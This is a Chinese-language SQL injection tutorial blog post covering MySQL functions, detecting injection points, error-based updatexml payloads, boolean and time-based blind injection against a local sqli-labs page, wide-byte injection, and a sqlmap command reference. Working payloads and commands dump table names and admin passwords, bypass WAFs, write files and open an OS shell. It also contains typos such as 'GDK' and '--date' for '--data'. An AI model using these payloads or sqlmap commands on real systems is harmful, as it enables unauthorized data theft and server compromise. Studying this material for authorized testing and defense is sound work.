SQL注入

  • Post author:
  • Post category:其他


常用函数

SQL注入步骤

联合查询注入

函数与报错注入

SQL盲注

宽字节注入

sqlmap工具

常用函数

常用系统函数

基础信息函数 功能
system_user() 系统用户名
user() 用户名
current_user() 当前用户名
session_user() 连接数据库的用户名
database() 数据库名
version() 数据库版本
@@datadir 数据库路径
@@basedir 数据库安装路径
@@version_compile_os 操作系统
count() 返回执行结果数量
sleep(s) 将程序暂停s秒

相关函数演示

其他常见函数

字符处理函数 功能 举例

重点

concat()
没有分隔符地连接字符串 select concat(c1,c2) from xxx

重点

concat_ws()
指定分隔符地连接字符串 select concat_ws(‘:’,c1,c2) from xxx

重点

group_concat()
以逗号分隔某列/组的数据 select group_concat(c1,c2) from xxx
load_file() 读取服务器文件 select loadfile(‘/tmp/a.txt’)
into outfile 写入文件到服务器 select ‘xxxx’ into outfile ‘/tmp/a.txt’
ascii() 字符串最左侧的ASCII代码值 select ascii(‘a’)
ord() 返回字符串第一个字符的ASCII值 select ord(‘abc’)
char() 返回ASCII值对应的字符串 select char(97)
mid() 返回一个字符串的一部分 select mid(‘abcde’,1,1)
substr() 返回一个字符串的一部分 select substr(‘abcde’,1,1)
length() 返回字符串的长度 select length(‘abc’)
left() 返回字符串最左面几个字符 select left(‘mysql’,2)
floor() 返回小于或等于X的最大整数 select floor(5.1)
rand() 返回0-1间的一个随机数 select rand()
if() 三目运算 select if(1>2,’A’,’B’)
strcmp() 比较字符串ASCII大小 select strcmp(‘c’,’b’)
ifnull() 参数1为不null则返回参数1,否则参数2 select ifnull(null,2)

相关函数演示

Length(str)函数:返回指定字符串的长度

Ps:length里面放一个字符串,如果放置表达式的话,需要用括号括起来

Substr():返回截取的字符串

SUBSTR (str, pos)

截取从pos位置开始到最后的所有str字符串

SUBSTR (str, pos, len)

参数说明:

str为列名/字符串;

pos为起始位置;mysql中的起始位置pos是从1开始的;如果为正数,就表示从正数的位置往下截取字符串(起始坐标从1开始),反之如果起始位置pos为负数,那么 表示就从倒数第几个开始截取;

len为截取字符个数/长度。

Ascii(str):返回指定字符串最最左侧的字符的ascii的值

对于数据的导入导出需要使用如下命令查看

show variables like '%secure_file_priv%';

SQL注入步骤

确定所有可能的输入方式

Web 应用的用户输入方式比较多,其中一些用户输入方式是很明显的,如 HTML 表单;

另外,攻击者可以通过隐藏的 HTML 表单输入、HTTP 头部、cookies、甚至对用户不可见的 后端AJAX 请求来跟 Web 应用进行交互。


一般来说,所有 HTTP 的 GET 和 POST 都应当作用户输入。


为了找出一个 Web 应用所有可能的用户输入,我们可以求助于 Web 代理,如 Burp 等。

查找可以用于注入的用户输入

在找出所有用户输入方式后,就要对这些输入方式进行筛选,找出其中可以注入命令的那些输入方式。多多留意 Web 应用的错误页面

1.数字型注入

当输入的参数为整型时,则有可能存在数字型注入漏洞。

假设存在一条 URL 为:HTTP://www.aaa.com/test.php?id=1

可以对后台的 SQL 语句猜测为:

SELECT * FROM table WHERE id=1

判断数字型漏洞的 SQL 注入点:

① 先在输入框中输入一个单引号 ‘

这样的 SQL 语句就会变为:

SELECT * FROM table WHERE id=1’,

不符合语法,所以该语句肯定会出错,导致脚本程序无法从数据库获取数据,从而使原来的页面出现异常。

② 在输入框中输入 and 1 = 1

SQL语句变为:

SELECT * FROM table WHERE id=1 and 1 = 1

语句正确,执行正常,返回的数据与原始请求无任何差异。

③ 在数据库中输入 and 1 = 2

SQL 语句变为:

SELECT * FROM table WHERE id=1 and 1 = 2

虽然语法正确,语句执行正常,但是逻辑错误,因为 1 = 2 为永假,所以返回数据与原始请求有差异。

如果以上三个步骤全部满足,则程序就可能存在数字型 SQL 注入漏洞。

2.字符型注入

当输入参数为字符串时,则可能存在字符型注入漏洞。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符型一般需要使用单引号来闭合。

字符型注入最关键的是如何闭合 SQL 语句以及注释多余的代码。

假设后台的 SQL 语句如下:

SELECT * FROM table WHERE username = ‘admin’

判断字符型漏洞的 SQL 注入点:

① 还是先输入单引号 admin’ 来测试

这样的 SQL 语句就会变为:

SELECT * FROM table WHERE username = ‘admin”。

页面异常。

② 输入:admin’ and 1 = 1 –+

注意:在 admin 后有一个单引号 ‘,用于字符串闭合,最后还有一个注释符 –(两条杠后面还有一个空格!!!)。

SQL 语句变为:

SELECT * FROM table WHERE username = ‘admin’ and 1 = 1 –+

页面显示正确。

③ 输入:admin’ and 1 = 2 –+

SQL 语句变为:

SELECT * FROM table WHERE username = ‘admin’ and 1 = 2 –+

页面错误。

满足上面三个步骤则有可能存在字符型 SQL 注入。

联合查询注入

information_schema库

函数与报错注入

updatexml():MYSQL 对 XML 文档数据进行查询和修改的 XPATH 函数

select updatexml(1,concat(0x7e,(select user()),0x7e),1)
#接收3个参数,第一个xml文档,第二个xpath语句,第三个字符串
#1 爆数据库版本信息
k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #
#2 爆数据库当前用户
k' and  updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) #
#3 爆数据库
k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #
#4 爆表名
## 反馈回的错误表示只能显示一行,所以采用limit来一行一行显示
k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security')),0) #
#5 爆字段
k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) #
#6 爆字段内容
k' and  updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) #

盲注

布尔盲注原理

只返回布尔值的sql注入漏洞,通过构造语句,来判断数据库信息的正确性,再通过页面反回的布尔值,来判断正确与否

时间盲注原理

语句执行后,不回显,不报错,不提示真假的sql注入漏洞。可以通过构造语句,通过条件语句判断,为真则立即执行,否则延时执行

实例


判断闭合函数:

通过如下sleep函数可知闭合函数是单引号’ ’

http://localhost/sqli/Less-8/?id=1' and sleep(5) --+


求当前数据库长度:

http://localhost/sqli/Less-8/?id=1' and length(database())>2  --+

判断数据库名长度大于2


求当前数据库对应的ascii码:

http://localhost/sqli/Less-8/?id=1' and ascii(substr(database(),1,1))>100  --+

判断当前数据库名第一个字符的ascii码大于100


求表的数量:

http://localhost/sqli/Less-8/?id=1' and  (select count(table_name) from information_schema.tables  where table_schema='security')>1     --+

判断表的数量大于1


求表名的长度:

http://localhost/sqli/Less-8/?id=1′ and  length((select  table_name  from information_schema.tables  where table_schema=’security’ limit 0,1))>2     –+

判断第一个表名的长度大于2


判断表名:

首先判断第一个表的表名

http://localhost/sqli/Less-8/?id=1′ and  ascii(substr((select  table_name  from information_schema.tables  where table_schema=’security’ limit 0,1),1,1))>100    –+

判断第一个表的第一个字符的ascii大于100

宽字节注入

条件:1.数据库采用GDK字符集

2.网站将引号转义为反斜杠加引号

原因:GBK双字节编码中用两个字节表示一个汉字

首字节范围:0x81-0xFE

尾字节范围:0x40-0xFE(除0x7F)

反斜杠(\)对应编码为0x5c

SQLmap工具

sqlmap支持五种不同的注入模式:

基于布尔的盲注:可以根据返回页面判断条件真假的注入;
基于时间的盲注:用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
基于报错的注入:页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;
联合查询的注入:可以使用union的情况下的注入;
堆叠查询的注入:可以同时执行多条语句的执行时的注入。

常用sqlmap参数:

-D 数据库名    -T 数据库表名     -C 数据库列名     -U 数据库用户名
-D 数据库名 --tables    #获取D数据库中所有的表名
-D 数据库名 -T 表名 --columns    #获取D数据库中T表里所有的列名
-T 表名 -C username,password --dump   #下载T表里username,password列的数据内容

-u   #-u=--url=URL ,指定url地址,get请求可以在url加上相关参数
-r   #指定加载文件 ,适用于所有的请求和https。 流程是抓包、保存到文件、从文件加载HTTP请求;方便跳过设置一些其他参数(cookie,POST等)
-p   #指定用url或文件中的哪个参数做注入参数
-m   #读取文件中的url列表以批量测试
--date    #post方式传入参数 --date "id=6&pwd=15678"
--dbs     #显示所有的数据库
--current-user #获取当前数据库用户
--current-db   #获取网站当前数据库
--is-dba  #判断当前的用户是否为管理员
--users   #获取所有数据库用户
--level   #测试的等级(1-5,默1),数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。
--risk    #测试的风险(0-3,默1),1会测试大部分的测试语句,2会增加基于事件的测试语句,3会增加OR语句的SQL注入测试。
--threads #同时执行测试的线程数
--mobile  #模拟测试手机环境站点
--batch -smart  #不需要人确定,自动填写yes
--batch -smart  #全自动化判断测试,不需要人确定
--os-shell   #获取系统交互的shell
--tamper "  "    #sqlmap绕过waf,需要加载绕过方式脚本,可多个
--passwords  #尝试解码出hash密码原文
-v   #输出信息级别: 0-6 ,
     “0”只显示python错误以及严重的信息;
     1同时显示基本信息和警告信息(默认);
     “2”同时显示debug信息;
     “3”同时显示注入的payload;
     “4”同时显示HTTP请求;
     “5”同时显示HTTP响应头;
     “6”同时显示HTTP响应页面;
     如果想看到sqlmap发送的测试payload最好的等级就是3。

--file-read  #读取服务器上指定文件内容 --file-read "C:/example.exe"
--file-write #上传本地文件 --file-write "c:/1.txt" --file-dest "C:/php/sql.php"
--file-dest  #上传到服务器指定目录

一般的SQLMap操作流程:

# 1.通过手工检测的方式,找到合适的注入点
payload:'         #返回错误
payload:and 1=1   #返回正常
payload:and 1=2   #返回错误
##满足以上条件即存在注入

# 2.检查注入点:
sqlmap -u "http://xxx:88/product.php?cid=2" --batch --level3

# 3.爆所有数据库信息:
sqlmap -u "http://xxx:88/product.php?cid=2" --batch --dbs 

# 4.爆当前数据库信息,爆当前用户权限。
sqlmap -u "http://xxx:88/product.php?cid=2"  --batch --current-db --is-dba

# 5.指定库名列出所有表:
sqlmap -u "http://xxx:88/product.php?cid=2"  --batch -D security --tables 

# 6.指定库名表名列出所有字段:
sqlmap -u "http://xxx:88/product.php?cid=2"  --batch -D security -T admin --column 

# 7.指定库名表名字段dump出指定字段:
sqlmap -u "http://xxx:88/product.php?cid=2"  --batch -D security -T admin -C name,pswd --dump 

# 8.加载脚本绕过防火墙
sqlmap -u "http://xxx:88/product.php?cid=2"  --tamper randomcase.py

# 9.爆当前的用户名称
sqlmap -u "http://xxx:88/product.php?cid=2"  --current-user

# 10.爆当前用户密码
sqlmap -u "http://xxx:88/product.php?cid=2"  --passwods

# 11.连接系统交互shell
sqlmap -u "http://xxx:88/product.php?cid=2"  --os-shell



版权声明:本文为weixin_56239202原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。